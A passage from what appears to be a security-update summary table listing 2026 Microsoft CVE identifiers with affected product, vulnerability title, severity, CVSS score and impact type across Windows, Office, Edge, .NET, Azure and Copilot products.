No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  